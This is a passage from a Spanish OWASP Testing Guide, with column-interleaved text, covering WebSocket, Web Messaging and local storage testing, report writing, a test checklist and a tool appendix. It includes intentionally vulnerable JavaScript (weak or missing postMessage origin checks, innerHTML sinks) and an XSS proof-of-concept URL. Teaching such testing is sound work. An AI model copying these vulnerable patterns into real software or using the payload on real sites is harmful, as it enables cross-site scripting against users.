problemas de Top 10 2013-A2-Broken Authentication and Session
Management.
• Compruebe que la conexión WebSocket utiliza SSL para transportar información
sensible (WSS: //).
Autorización
Los WebSockets no manejan autorización. Se aplican mecanismos de autorización

de uso habituales. Preste atención a los problemas de Top 10 2013-A4-Insecure
• Compruebe la implementación de SSL para problemas de seguridad (certificado
Direct Object References and Top 10 2013-A7-Missing Function Level Access
válido, BEAST, CRIME, RC4, etc). Consulte la sección de Pruebas de
Control.
codificadores SSL/TLS débiles, protección de transporte de capas insuficiente
(OTG-CRYPST-001) de esta guía.
Desinfección de entrada
4. Autenticación.
Al igual que con todos los datos procedentes de fuentes no confiables, los datos
deben ser adecuadamente desinfectados y codificados. Preste atención a los
• Los WebSockets no manejan la autenticación, por lo que deben llevarse a
problemas de Top 10 2013-A1-inyección y Top 10 2013-A3-Cross-Site Scripting
cabo pruebas normales de autenticación de Caja Negra. Consulte las secciones
(XSS).
de pruebas de autenticación de esta guía.
5. Autorización.
Cómo probar
• Los WebSockets no manejan la autorización, por lo que deben llevarse a cabo
Prueba de Caja Negra pruebas normales de habilitación de Caja Negra. Consulte las secciones de pruebas
de autorización de esta guía.
1. Identificar que la aplicación utiliza WebSockets.
• Inspeccione el código fuente del lado del cliente para los WS: // o WSS: //
esquema URI. 6. Desinfección de entrada.
• Use el OWASP Zed Attack Proxy (ZAP)’s WebSocket tab para volver a
reproducir y fuzz WebSocket para solicitud y respuestas. Consulte las
secciones de Prueba de validación de datos de esta guía.

320
documentación de la API para la aplicación que se está probando, la cual

incluye el esperado WebSocket solicitud y respuestas.
Ejemplo 1
Una vez que se ha identificado que la aplicación utiliza WebSockets (como

se describió anteriormente), podemos utilizar el OWASP Zed Ataque Herramientas
Proxy (ZAP) para interceptar la WebSocket para solicitud y respuestas.
Entonces se puede utilizar ZAP para reproducir y fuzz de los WebSockets • OWASP Zed Attack Proxy (ZAP): owasp.org
solicitud / respuestas.
ZAP es una herramienta de pruebas de penetración integrada, fácil de usar

para encontrar vulnerabilidades en aplicaciones web. Está diseñada para ser
un conjunto de herramientas que le permiten encontrar vulnerabilidades
de seguridad de forma manual.
• Cliente WebSocket - github.com
Ejemplo 2 Un cliente WebSocket que se puede utilizar para interactuar con un

servidor WebSocket.
Usando un cliente WebSocket (se puede encontrar uno en la sección
Herramientas abajo), intente conectarse al servidor remoto WebSocket. Si
se permite la conexión, el servidor WebSocket puede no estar revisando
el encabezado de origen del WebSocket handshake. Intente reproducir las • Cliente WebSocket Google Chrome Simple: cromo google.com
solicitudes previamente interceptadas para verificar que la comunicación
WebSocket cross-domain es posible.
Construye solicitudes personalizadas WebSocket y maneja las respuestas

para probar directamente los servicios de Websocket.
Referencias
Libros Blancos
• HTML5 Rocks - Introducing WebSockets: Bringing Sockets to
the Web: html5rocks.com
• W3C - The WebSocket API: dev.w3.org
Prueba de Caja Gris

• IETF - The WebSocket Protocol: tools.ietf.org
Probar la Caja Gris es similar a probar la Caja Negra. En las pruebas de
Caja Gris, el probador de la pluma tiene un conocimiento parcial de la
solicitud. La única diferencia aquí es que usted puede tener
• Christian Schneider - Cross-Site WebSocket Hijacking (CSWSH):

321
christian-schneider.net • Datos: Contenido del mensaje entrante
• Jussi-Pekka Erkkilä - WebSocket Security Analysis: juerkkil.iki.fi
• Origen: Origen del documento emisor
• Robert Koch- On WebSockets in Penetration Testing:
ub.tuwien.ac.at • Fuente: ventana de la fuente
• DigiNinja - OWASP ZAP and Web Sockets: digininja.org Un ejemplo:
Enviar mensaje:
Prueba de mensajería web (Web Messaging) (OTG-CLIENTE-011)
Resumen iframe1.contentWindow.postMessage(“Hello
world”,”http://www.example.com”);
Web Messaging (también conocido como Cross Document Messaging)
permite a las aplicaciones que se ejecutan en diferentes dominios
comunicarse de una manera segura. Antes de la introducción de la web de
mensajería, la comunicación de diferentes orígenes (entre iframes, Recibir mensaje:
pestañas y ventanas) fue restringida por la política del mismo origen y
puesta en vigor por el navegador; sin embargo, los desarrolladores
utilizan varios cortes con el fin de llevar a cabo estas tareas, la mayoría de
ellas principalmente inseguras. window.addEventListener(“message”, handler, true);
function handler(event) {
Esta restricción en el navegador está colocada para evitar que un sitio if(event.origin === ‘chat.example.com’) {
web malicioso pueda leer datos confidenciales de otros iframes, tabs, etc,
sin embargo, hay algunos casos donde dos legítimos sitios web de /* process message (event.data) */
confianza necesitan intercambiar datos entre sí.
} else {
/* ignore messages from untrusted domains */

Para satisfacer esta necesidad, se introdujo Cross Document Messaging
dentro del borrador de la especificación WHATWG HTML5 y se }
implementó en todos los principales navegadores. Esto permitió una
comunicación segura entre múltiples orígenes a través de iframes, }
pestañas y ventanas.
Concepto de seguridad de origen

La API Messaging introdujo el método postMessage (), con la que los
mensajes de texto sin formato se pueden enviar a través de cross-origin. Se El origen se compone de un esquema, nombre de host y del puerto que
compone de dos parámetros: el mensaje y el dominio. identifica de forma exclusiva el dominio de envío o recepción del mensaje.
No incluye la ruta de acceso o el fragmento de la URL. Por ejemplo,
https://example.com/ será considerada diferente de http://example.com
porque el esquema en el primer caso es https y en el segundo, http; lo
Hay algunos problemas de seguridad cuando se utiliza '*' como el mismo se aplica a los servidores Web que se ejecutan en el mismo
dominio que se discute a continuación. Entonces, con el fin de recibir dominio, pero en diferentes puertos.
mensajes, el sitio web receptor tiene que añadir un nuevo controlador de
eventos y tener los siguientes atributos:

322
Desde una perspectiva de seguridad, se debe comprobar si el código está La comprobación manual debe llevarse a cabo y el código JavaScript debe
filtrando y procesando mensajes solamente desde dominios de confianza. ser analizado para averiguar cómo se implementa Web Messaging. En
Normalmente, la mejor manera de lograr esto es usar una lista blanca. particular, debemos estar interesados en cómo el sitio web limita los
También dentro del dominio de envío, queremos asegurarnos de que el mensajes provenientes de dominio de confianza, y cómo los datos se
dominio de recepción se está indicando explícitamente y no '*' como el manejan incluso para los dominios de confianza. A continuación se
segundo argumento de postMessage (), ya que esta práctica podría presentan algunos ejemplos:
introducir problemas de seguridad y podría conducir al caso de un
cambio de dirección, o si el origen cambia por otros medios, el sitio web
estaría enviando datos a hosts desconocidos y, por lo tanto, filtrando
datos confidenciales a servidores maliciosos. Ejemplo de código vulnerable :
En este ejemplo, el acceso es necesario para cada subdominio (www, chat,

foros, ...) dentro del dominio owasp.org. El código está tratando de
En caso de que la página web no pueda agregar controles de seguridad aceptar cualquier dominio que termine en .owasp.org:
para restringir los dominios o los orígenes que puedan enviarle mensajes,
lo más probable es introducir un riesgo de seguridad, ya que es una parte window.addEventListener(“message”, callback, true);
muy interesante del código desde un punto de vista de pruebas de
penetración. Debemos escanear el código de los detectores de eventos de
mensajes y obtener la función de devolución de llamadas desde el método
addEventListener para su posterior análisis ya que, como dominios, function callback(e) {
deben ser siempre verificados antes de la manipulación de datos.
</b>if(e.origin.indexOf(“.owasp.org”)!=-1) {<b>
/* process message (e.data) */

Validación de entrada de event.data
}
La validación de entrada también es importante, incluso si el sitio web
está aceptando solamente mensajes de dominios de confianza. Los datos }
tienen que ser tratados como datos externos no confiables y se debe
aplicar el mismo nivel de controles de seguridad. Debemos analizar el
código y buscar métodos inseguros, en particular, si los datos se evalúan a
La intención es permitir subdominios en esta forma:
través de
www.owasp.org
eval()
chat.owasp.org
o se inserta en el DOM a través de
forums.owasp.org
innerHTML
...
propiedad que crearía una vulnerabilidad DOM-based XSS.
Código inseguro. Un atacante puede pasar por alto fácilmente el filtro, ya

que coincidirá con www.owasp.org.attacker.com.
Cómo probar

Ejemplo de falta de comprobación de origen, muy inseguro porque
Las pruebas de vulnerabilidades de la Caja Negra en Web Messaging, por aceptará la entrada de cualquier dominio:
lo general, no se llevan a cabo porque el acceso al código fuente está
window.addEventListener(“message”, callback, true);
siempre disponible ytiene que ser enviado al cliente para ser ejecutado.
function callback(e) {
Prueba de Caja Gris
/* process message (e.data) */

323
} Prueba de Almacenamiento Local (OTG-CLIENT-012)
Resumen
Ejemplo de validación de entradas: La falta de controles de seguridad Almacenamiento local, también conocido como Web Storage o Offline
conducen a Cross-Site Scripting (XSS) Storage, es un mecanismo para almacenar los datos como pares
clave/valor atados a un dominio y forzados por la política del mismo
window.addEventListener(“message”, callback, true); origen (SOP). Hay dos objetos: localStorage que es persistente y está
destinado a sobrevivir los reinicios del navegador/sistema; y
sessionStorage que es temporal y sólo existe hasta que se cierre la
ventana o pestaña.
function callback(e) {
if(e.origin === “trusted.domain.com”) {

En promedio, los navegadores permiten guardar en este almacenamiento
element.innerHTML= e.data; alrededor de 5 MB por cada dominio. Comprarados con el de 4 KB de
cookies es una gran diferencia, pero la diferencia clave desde la
} perspectiva de seguridad es que los datos almacenados en estos dos
objetos se mantienen en el cliente y nunca se envían al servidor. Esto
} también mejora el rendimiento de la red ya que los datos no tienen que ir
y volver a través del cable.
Este código dará lugar a vulnerabilidades Cross-Site Scripting (XSS) ya que

los datos no se tratan adecuadamente. Un enfoque más seguro sería el Almacenamiento local
uso de la propiedad textContent en lugar de innerHTML.
El acceso al almacenamiento se realiza normalmente utilizando las
funciones SetItem y GetItem. El almacenamiento se puede leer desde
JavaScript, lo que significa que con una sola XSS un atacante sería capaz
Herramientas de extraer todos los datos desde el almacenamiento. Además, se pueden
cargar datos maliciosos en el almacenamiento a través de JavaScript, por
• OWASP Zed Attack Proxy (ZAP): owasp.org
lo que la aplicación necesita tener los controles para el tratamiento de
datos no confiables. Compruebe si hay más de una aplicación en el mismo
dominio, tales como example.foo/app1 y example.foo/app2, porque esas
compartirán el mismo almacenamiento.
Los datos almacenados en este objeto persistirán después que la ventana
está cerrada. No es buena idea almacenar datos sensibles o
un conjunto de herramientas que le permiten encontrar las
identificadores de sesión en este objeto, ya que se puede acceder a ellos a
vulnerabilidades de seguridad de forma manual.
través de JavaScript. Datos de sesión ID almacenados en las cookies
pueden mitigar este riesgo mediante el indicador HTTPOnly.
Referencias
sessionStorage
Recursos OWASP
La principal diferencia de localStorage es que se puede acceder a los
datos almacenados en este objeto sólo hasta que la pestaña / ventana se
cierra, lo que lo hace un candidato perfecto para los datos que no
necesitan persistir entre sesiones. Ya que comparte la mayoría de las
Libros Blancos propiedades y los métodos getItem / setItem, la prueba manual debe
llevarse a cabo para buscar estos métodos e identificar en qué partes del
• Web Messaging Specification: whatwg.org código se accede al almacenamiento.

324
Cómo probar También podemos inspeccionar estos objetos a partir de las herramientas
de desarrollo de nuestro navegador.
Las pruebas de Caja Negra de temas dentro del código de

almacenamiento local, por lo general, no se llevan a cabo porque el acceso La siguiente prueba manual debe llevarse a cabo con el fin de determinar
al código fuente está siempre disponible ya que tiene que ser enviado al si el sitio web está guardando datos sensibles en el almacenamiento que
cliente para ser ejecutado. representa un riesgo, y aumentará dramáticamente el impacto de una
fuga de información. También se debe revisar el código de manejo del
almacenamiento para determinar si es vulnerable a ataques de inyección,
un problema común cuando el código no escapa a la entrada o a la salida.
Prueba de Caja Gris El código JavaScript tiene que ser analizado para evaluar estas cuestiones,
así que asegúrese de arrastrar la aplicación para descubrir cada instancia
En primer lugar, hay que comprobar si se utiliza el almacenamiento local. de código JavaScript y tenga en cuenta que, a veces, las aplicaciones
utilizan las bibliotecas de terceros que tendrían que ser examinadas
Ejemplo 1: Acceso al almacenamiento local: también.
El acceso a todos los elementos de almacenamiento local con JavaScript:
for(var i=0; i<localStorage.length; i++) {

Aquí está un ejemplo de cómo el uso indebido de la entrada del usuario y
la falta de validación puede conducir a ataques XSS.
console.log(localStorage.key(i), “ = “,
localStorage.getItem(localStorage.key(i)));
} Ejemplo 2: XSS en localStorage:
La asignación insegura de localStorage puede conducir a XSS
El mismo código puede ser aplicado a la sesión de almacenamiento. function action(){
Para el uso de Google Chrome, haga clic en menu -> Tools -> Developer var resource = location.hash.substring(1);
Tools. A continuación, en Recursos, verá "Almacenamiento local" y
"almacenamiento Web '.
localStorage.setItem(“item”,resource);
item = localStorage.getItem(“item”);
document.getElementById(“div1”).innerHTML=item;
Para el uso de Firefox con el Firebug en adelante, fácilmente puede </script>

inspeccionar el objeto localStorage / sessionStorage en la pestaña DOM.
<body onload=”action()”>
<div id=”div1”></div>
</body>

325
URL PoC: • OWASP Zed Attack Proxy (ZAP): owasp.org
http://server/StoragePOC.html#<img src=x onerror=alert(1)>

utilizada por personas con amplia experiencia en seguridad y ,como tal, es
un conjunto de herramientas que le permiten encontrar las
vulnerabilidades de seguridad de forma manual.
Referencias
Herramientas
Recursos OWASP
• Firebug: getfirebug.com
• Google Chrome Developer Tools: developers.google.com

Libros Blancos
• Web Storage Specification: w3.org

326
Cómo Reportar
5 La realización de la parte técnica de la evaluación es sólo la mitad del proceso global de evaluación.
El producto final es la producción de un informe bien escrito e informativo. Un informe debe ser
fácil de entender y debe poner de relieve todos los riesgos encontrados durante la fase de
evaluación. El informe debe hacer un llamamiento tanto a la dirección ejecutiva como al personal
técnico.
organización enfrenta o sus consecuencias en los negocios si las

vulnerabilidades explotan. Esta es la tarea de los profesionales en
La realización de la parte técnica de la evaluación es sólo la mitad del situación de riesgo, quienes calculan los niveles de riesgo a base de esta y
proceso global de evaluación. El producto final es la producción de un otra información. La gestión de riesgos, por lo general, será parte de la
informe bien escrito e informativo. Un informe debe ser fácil de entender organización IT Security Governance, Risk and Compliance (GRC) y este
y debe poner de relieve todos los riesgos encontrados durante la fase de informe se limitará a proporcionar un primer paso a ese proceso.
evaluación. El informe debe hacer un llamamiento tanto a la dirección
ejecutiva como al personal técnico.
2. Parámetros de prueba
La introducción debe describir los parámetros de las pruebas de

seguridad, los hallazgos y la remediación. Algunos títulos de las secciones
El informe debe tener tres secciones principales. Debe ser creado de una sugeridas incluyen:
manera que permita que cada sección separada pueda ser impresa y
entregada a los equipos apropiados, tales como los desarrolladores o los
administradores del sistema. Las secciones recomendadas se resumen a
continuación. 2.1 Objetivo del proyecto: En esta sección se describen los objetivos del
proyecto y los resultados esperados de la evaluación.
1. Resumen Ejecutivo
2.2 Alcance del proyecto: En esta sección se describe el alcance acordado.
El resumen ejecutivo compendia los resultados generales de la evaluación
y ofrece a los administradores de negocios y propietarios de sistemas una
vista de alto nivel de las vulnerabilidades descubiertas. El lenguaje
utilizado debe ser más adecuado para las personas que no están al tanto 2.3 Planificación del proyecto: Esta sección muestra cuando la prueba
de la tecnología y debe incluir gráficos o diagramas que muestren el nivel inició y terminó.
de riesgo. Tenga en cuenta que es probable que los ejecutivos sólo tengan
tiempo para leer este resumen y quieran dos preguntas contestadas en un
lenguaje sencillo: 1) ¿Qué pasa? 2) ¿Cómo lo arreglo? Usted tiene una
página para responder a estas preguntas. 2.4 Objetivos: Esta sección muestra el número de aplicaciones o sistemas
específicos.
El resumen ejecutivo debe indicar claramente que las vulnerabilidades y

su gravedad son un primer paso al proceso de gestión de riesgos de la 2.5 Limitaciones: Esta sección describe todas las limitaciones que se
organización, no un resultado o remediación. Es más seguro explicar que enfrentaron a lo largo de la evaluación. Por ejemplo, limitaciones en
el evaluador no entiende las amenazas que la pruebas de enfoque de proyectos, limitación en métodos de ensayo en
cuestiones de seguridad, rendimiento o problemas técnicos que el
evaluador encontró durante el transcurso de la evaluación, etc.

327
2.6 Resumen de resultados: En esta sección se describen las

vulnerabilidades que se descubrieron durante la prueba.
• Imágenes y líneas de comandos para indicar qué tareas se llevaron a
cabo durante la ejecución del caso de prueba
2.7 Resumen de remediación: En esta sección se describe el plan de

acción para resolver las vulnerabilidades que se descubrieron durante la
prueba. • El elemento afectado
3. Resultados • Una descripción técnica del problema y la función o el objeto afectado
La última sección del informe incluye información técnica detallada

acerca de las vulnerabilidades detectadas y las acciones necesarias para
resolverlas. Esta sección está dirigida a un nivel técnico y debe incluir • Una sección sobre la solución del problema
toda la información necesaria para que los equipos técnicos puedan
comprender el problema y resolverlo. Cada hallazgo debe ser claro y
conciso y dar al lector del informe una comprensión completa del tema en
cuestión. • La clasificación de gravedad [1], con la notación vectorial si se utiliza
CVSS
La sección de resultados debe incluir:

La siguiente es la lista de controles que fueron probados durante la
evaluación:
ID Prueba Última versión
Recopilación de Información
OTG-INFO-001 Realizar Motor de búsqueda de descubrimiento y reconocimiento de la fuga de información
OTG-INFO-002 Huella digital del Servidor Web
OTG-INFO-003 Revisión de los Meta archivos del Servidor Web para la fuga de información
OTG-INFO-004 Enumerar las aplicaciones en el Servidor Web
OTG-INFO-005 Revisión de los Comentarios de la Página Web y metadatos para la fuga de información
OTG-INFO-006 Identificar los puntos de entrada de la aplicación
OTG-INFO-007 Mapa de rutas de ejecución a través de la aplicación
OTG-INFO-008 Marco de Aplicaciones Web de la huella digital
OTG-INFO-009 Aplicación Web de la huella digital
OTG-INFO-010 Mapa de arquitectura de aplicaciones
Configuración y Pruebas de Gestión de Despliegue

328
OTG-CONFIG-001 Configuración de Red / Infraestructura de prueba
OTG-CONFIG-002 Configuración de la plataforma de aplicaciones de prueba
OTG-CONFIG-003 Extensiones de prueba de gestión de ficheros de información sensible
OTG-CONFIG-004 Archivos de copia de seguridad y sin referencia para la información sensible
OTG-CONFIG-005 Enumerar interfaces de administración de infraestructura y aplicaciones
OTG-CONFIG-006 Métodos de prueba HTTP
OTG-CONFIG-007 Seguridad de Transporte Estricta de Prueba HTTP
OTG-CONFIG-008 Políticas de Dominio Cruzado de Pruebas RIA
Pruebas de Gestión de Identidad
OTG-IDENT-001 Definiciones de función de Prueba
OTG-IDENT-002 Proceso de Registro de Usuario de Prueba
OTG-IDENT-003 Proceso de Prueba Aprovisionamiento de cuentas
OTG-IDENT-004 Pruebas para la cuenta de enumeración y cuentas de usuario adivinable
OTG-IDENT-005 Pruebas de políticas de nombre de usuario no ejecutado o débil
OTG-IDENT-006 Permisos de Prueba de las cuentas de invitado / entrenamiento
OTG-IDENT-007 Prueba de suspensión de cuenta / Proceso Reanudación
Pruebas de Autenticación
OTG-AUTHN-001 Pruebas para Credenciales, transportados por un canal cifrado
OTG-AUTHN-002 Pruebas para las credenciales predeterminadas
OTG-AUTHN-003 Pruebas para mecanismo de bloqueo débil
OTG-AUTHN-004 Pruebas para pasar por el sistema de autenticación
OTG-AUTHN-005 Prueba de funcionalidad recordar contraseña
OTG-AUTHN-006 Pruebas para debilidad de caché del navegador
OTG-AUTHN-007 Pruebas para la política de contraseñas débiles
OTG-AUTHN-008 Pruebas para la seguridad Débil pregunta / respuesta
OTG-AUTHN-009 Pruebas para los pocos cambios de contraseña o funcionalidades de reinicio
OTG-AUTHN-010 Pruebas para la autenticación más débil en canal alternativo
Pruebas de Autorización

329
OTG-AUTHZ-001 Directorio de las pruebas de recorrido / archivo de inclusión
OTG-AUTHZ-002 Pruebas para pasar por el esquema de autorización
OTG-AUTHZ-003 Pruebas para escalada de privilegios
OTG-AUTHZ-004 Pruebas para referencias de objetos directos inseguros
Pruebas de gestión de sesiones
OTG-SESS-001 Pruebas por exclusión del esquema de gestión de sesiones
OTG-SESS-002 Pruebas para atributos Cookies
OTG-SESS-003 Pruebas para Fijación de Sesión
OTG-SESS-004 Pruebas para variables de sesión expuestas
OTG-SESS-005 Pruebas para falsificación de solicitudes de múltiples sitios
OTG-SESS-006 Pruebas para funcionalidad de cierre de sesión
OTG-SESS-007 Tiempo de espera de sesión de pruebas
OTG-SESS-008 Pruebas para sesión desconcertante
Pruebas de validación de entrada
OTG-INPVAL-001 Pruebas para XSS Reflejado
OTG-INPVAL-002 Pruebas para almacenado XSS
OTG-INPVAL-003 Pruebas para Alteración verbal HTTP
OTG-INPVAL-004 Pruebas para la contaminación de parámetros HTTP
OTG-INPVAL-006 Pruebas para la inyección de SQL
Prueba de oráculo
Pruebas de Servidor SQL
Prueba de PostgreSQL
Pruebas de Acceso MS
Pruebas para la inyección NoSQL
OTG-INPVAL-007 Pruebas para inyección LDAP
OTG-INPVAL-008 Pruebas para inyección ORM

330
OTG-INPVAL-009 Pruebas para inyección XML
OTG-INPVAL-010 Pruebas para inyección SSI
OTG-INPVAL-011 Pruebas para inyección XPath
OTG-INPVAL-012 Inyección IMAP / SMTP
OTG-INPVAL-013 Pruebas para la inyección de código
Pruebas para la Inclusión de archivos locales
Pruebas para la inclusión de archivos remotos
OTG-INPVAL-014 Pruebas para inyección de comandos
OTG-INPVAL-015 Pruebas para desbordamiento de búfer
Pruebas para desbordamiento del montón
Pruebas para desbordamiento de pila
Pruebas para el formato de cadenas
OTG-INPVAL-016 Pruebas para vulnerabilidades incubadas
OTG-INPVAL-017 Pruebas para división/contrabando de HTTP
Manejo de errores
OTG-ERR-001 Análisis de Códigos de error
OTG-ERR-002 Análisis de trazas de la pila
Criptografía
OTG-CRYPST-001 Pruebas para cifrados SSL/TSL débiles, protección de la capa de transporte insuficiente
OTG-CRYPST-002 Pruebas para oráculo acolchado
OTG-CRYPST-003 Pruebas para la información sensible enviada a través de canales no cifrados
Pruebas de Lógica de Negocios
OTG-BUSLOGIC-001 Validación de prueba de datos empresariales lógicos
OTG-BUSLOGIC-002 Prueba de habilidad para forjar solicitudes
OTG-BUSLOGIC-003 Comprobaciones prueba de integridad

331
OTG-BUSLOGIC-004 Prueba de proceso de temporización
OTG-BUSLOGIC-005 Prueba de Límites de Número de veces que una función se puede utilizar
OTG-BUSLOGIC-006 Pruebas para la elusión de los flujos de trabajo
OTG-BUSLOGIC-007 Prueba de mejores defensas contra el mal uso de aplicaciones
OTG-BUSLOGIC-008 Prueba de carga de tipos de archivo inesperados
OTG-BUSLOGIC-009 Prueba de carga de Archivos malicioso
Pruebas lado del cliente
OTG-CLIENT-001 Pruebas para DOM basada en XSS
OTG-CLIENT-002 Pruebas para ejecución de JavaScript
OTG-CLIENT-003 Pruebas para inyección HTML
OTG-CLIENT-004 Pruebas para redirección de URL lado del cliente
OTG-CLIENT-005 Pruebas para inyección CSS
OTG-CLIENT-006 Pruebas para la manipulación de recursos de lado del cliente
OTG-CLIENT-007 Prueba Cruzada intercambio de recursos de origen
OTG-CLIENT-008 Pruebas para sitios múltiples intermitentes
OTG-CLIENT-009 Pruebas para Clickjacking
OTG-CLIENT-010 Pruebas de websockets
OTG-CLIENT-011 Mensajería Web de prueba
OTG-CLIENT-012 Almacenamiento local de prueba

332
• Incluye una biblioteca de ataques XSS, codificador/decodificador de caracteres,
Apéndice generador de solicitudes y evaluador de respuestas HTTP, lista de verificación de
pruebas, editor de ataques automatizados y mucho más.
OWASP Pantera Web Assessment Studio Project
• Pantera usa una versión mejorada de SpikeProxy para proveer un motor más
poderoso de análisis para aplicaciones web. El objetivo principal de Pantera es
combinar capacidades automatizadas con pruebas manuales completas para
Esta sección se utiliza a menudo para describir las herramientas conseguir los mejores resultados en pruebas de penetración.
comerciales y de código abierto que fueron utilizadas para realizar la
evaluación. Cuando scripts personalizados o códigos son utilizados
durante la evaluación, estos deben darse a conocer en esta sección o se
deben señalar como un archivo adjunto. Los clientes aprecian cuando se OWASP Mantra - Security Framework
incluye la metodología utilizada por los consultores. Esto les da una idea
de la minuciosidad de la evaluación y de cuáles áreas fueron incluidas. • Mantra es un framework de pruebas de seguridad de aplicaciones web construido
sobre un navegador. Es compatible con Windows, Linux (32 y 64 bit) y Macintosh.
Además, puede trabajar con otros programas como ZAP usando funciones
administrativas de proxy incorporado que hace que sea mucho más conveniente.
References Industry standard vulnerability severity and risk rankings (CVSS) [1]: Mantra está disponible en nueve idiomas: árabe, chino - simplificado, chino -
first.org tradicional, inglés, francés, portugués, ruso, español y turco.
Apéndice A: Herramientas de prueba SPIKE - immunitysec.com
Herramientas de Pruebas de Caja Negra de código abierto • SPIKE está diseñado para analizar nuevos protocolos de red en busca de una
saturación de búfer o debilidades similares. Requiere un sólido conocimiento de C
Pruebas Generales para utilizarlo y sólo está disponible para la plataforma Linux.
OWASP ZAP Burp Proxy - portswigger.net
• El Zed Attack Proxy (ZAP) es una herramienta de pruebas de penetración • Burp Proxy es un servidor proxy interceptor para pruebas de seguridad de
integrada, fácil de usar para encontrar vulnerabilidades en aplicaciones web. Está aplicaciones web, que permite interceptar y modificar todo el tráfico HTTP(S) que
diseñada para ser utilizada por personas con amplia experiencia en seguridad y, pasa en ambas direcciones; puede trabajar con certificados SSL personalizados y
como tal, es ideal para desarrolladores y evaluadores funcionales que son nuevos en clientes no proxy conscientes.
el uso de pruebas de penetración.
Odysseus Proxy - http://www.bindshell.net/tools/odysseus.html

• ZAP ofrece escáneres automatizados, así como un conjunto de herramientas que
permiten encontrar las vulnerabilidades de seguridad manualmente. • Odysseus es un servidor proxy, que actúa como un intermediario durante una
sesión HTTP. Un proxy HTTP típico retransmite paquetes hacia y desde un
evaluador del cliente y un servidor web. Interceptará los datos de una sesión HTTP
en cualquier dirección.
OWASP WebScarab
• WebScarab es un framework para analizar las aplicaciones que se comunican

mediante los protocolos HTTP y HTTPS. Está escrito en Java y es portable a Webstretch Proxy - sourceforge.net
muchas plataformas. WebScarab tiene varios modos de funcionamiento que son
ejecutados por varios plugins. • Webstretch Proxy permite a los usuarios ver y modificar todos los aspectos de la
comunicación con un sitio web a través de un proxy. También puede ser utilizado
para la depuración durante el desarrollo.
OWASP CAL9000
• CAL9000 es una colección de herramientas basadas en el navegador, que WATOBO - sourceforge.net

permiten esfuerzos de pruebas manuales más eficaces y eficientes.
333
• WATOBO trabaja como un proxy local, similar a Webscarab, ZAP o BurpSuite y • Las características de Wikto incluyen la comprobación de la lógica difusa de los
soporta revisiones pasivas y activas. errores de código, un minador de accesos restringidos, minero de directorio asistido
por Google y seguimiento de solicitudes y respuestas HTTP en tiempo real.
w3af - w3af.org
Firefox LiveHTTPHeaders - addons.mozilla.org
• w3af es un framework referencial de ataques y auditorías de aplicaciones web. El
• Visualiza encabezados HTTP de una página mientras navega. objetivo del proyecto es encontrar y explotar las vulnerabilidades de la aplicaciones
web.
Firefox Tamper Data - addons.mozilla.org

skipfish - code.google.com
• Use tamperdata para visualizar y modificar encabezados y publicaciones
HTTP/HTTPS. • Skipfish es una herramienta activa de reconocimiento de seguridad para
aplicaciones web.
Firefox Web Developer Tools - addons.mozilla.org

Web Developer toolbar - chrome.google.com
• La extensión del Desarrollador Web añade varias herramientas de desarrollo web
al navegador. • La extensión Web Developer añade un botón de barra de herramientas al
navegador, con varias herramientas de desarrollo web. Este es el puerto oficial de la
extensión de Web Developer para Firefox.
DOM Evaluador - developer.mozilla.org
• DOM Evaluador es una herramienta de desarrollador que se usa para HTTP Request Maker - chrome.google.com
inspeccionar, navegar y editar un Documento de Modelo de Objeto (Document
Object Model (DOM)). • Request Maker es una herramienta de pruebas de penetración. Con esta
aplicación puede capturar fácilmente solicitudes realizadas por páginas web, alterar
los encabezados URL e información POST y, por supuesto, realizar nevas
solicitudes.
Firefox Firebug - getfirebug.com
• Firebug se integra con Firefox para editar, depurar, y monitorear CSS,HTML, y

JavaScript. Cookie Editor - chrome.google.com
• Edit This Cookie es un administrador de cookies. Usted puede añadir, borrar,

editar, buscar, proteger y bloquear cookies
Grendel-Scan - sourceforge.net
• Grendel-Scan es una herramienta automatizada de seguridad para aplicaciones

web y soporta pruebas manuales de penetración. Cookie swap - chrome.google.com
• Swap My Cookies es un administrador de sesión, administra cookies, permitiendo

que se registre en cualquier sitio web con varias cuentas diferentes.
OWASP SWFIntruder - code.google.com
• SWFIntruder (se pronuncia Swiff Intruder) es la primera herramienta desarrollada

específicamente para analizar y probar la seguridad de tiempo de ejecución de Firebug lite para Chrome”” - chrome.google.com
aplicaciónes Flash.
Firebug Lite no es un sustituto de Firebug o Chrome Developer Tools. Es
una herramienta para ser utilizada conjuntamente con estas
herramientas. Firebug Lite proporciona la vasta representación visual
SWFScan - Link por decidir que estamos acostumbrados a ver en Firebug cuando se trata de los
elementos HTML, los elementos DOM y el Box Model shading. También
• Descompilador de Flash ofrece algunas características interesantes como la inspección de los
elementos HTML con el ratón y las propiedades CSS de edición en tiempo
real.
Wikto - sensepost.com

334
Session Manager”” - chrome.google.com Blind SQL Injections: code.google.com
• Con el Session Manager se puede guardar en forma rápida el estado de su

navegador actual y volverlo a cargar siempre que sea necesario. Puede
administrar varias sesiones, cambiar nombres o eliminarlos de la sesión • Pangolin: Una herramienta automática de pruebas de penetración de inyección
de biblioteca. Cada sesión recuerda el estado del navegador en el SQL: nosec.org
momento de su creación, es deci pestañas y ventanas abiertas.
• Antonio Parata: Dump Files by sql inference on Mysql - SqlDumper:

Subgraph Vega - subgraph.com
http://www.ruizata.com/
• Vega es un escáner gratuito y de fuente abierta y plataforma de pruebas
para comprobar la seguridad de las aplicaciones web. Vega puede ayudar
a encontrar y validar la inyección SQL, Cross-Site Scripting (XSS), sin dar a
conocer información sensible y otras vulnerabilidades. Está escrito en • Multiple DBMS Sql Injection tool - SQL Power Injector:
Java, basado en GUI, y se ejecuta en Linux, OS X y Windows.
Prueba de vulnerabilidades específicas

• MySql Blind Injection Bruteforcing, Reversing.org - sqlbftools:
Prueba de DOM XSS
packetstormsecurity.org
• DOMinator Pro: dominator.mindedsecurity.com
Prueba de Oracle
Prueba de AJAX
• TNS Listener tool (Perl: jammed.com
• OWASP Sprajax Project: owasp.org
• Toad for Oracle: quest.com
Prueba de inyección SQL

Prueba de SSL
• OWASP SQLiX
• Foundstone SSL Digger: mcafee.com
• Sqlninja: inyección SQL Server & Herramienta Takeover :

Prueba del acceso Forzoso de contraseña (
sqlninja.sourceforge.net
• THC Hydra: thc.org
• John the Ripper: openwall.com

• Bernardo Damele A. G.: sqlmap, automatic SQL injection tool:
• Brutus: hoobie.net
sqlmap.org
• Medusa: foofus.net
• Absinthe 1.1 (formerly SQLSqueal): sourceforge.net
• Ncat: nmap.org
• SQLInjector - Usa técnicas de inferencia para extraer datos y

Prueba de la saturación de búfer (Buffer Overflow)
determinar el servidor de bases de back-end: databasesecurity.com
OllyDbg: ollydbg.de
• “Un depurador basado en Windows que se usa para analizar las vulnerabilidades
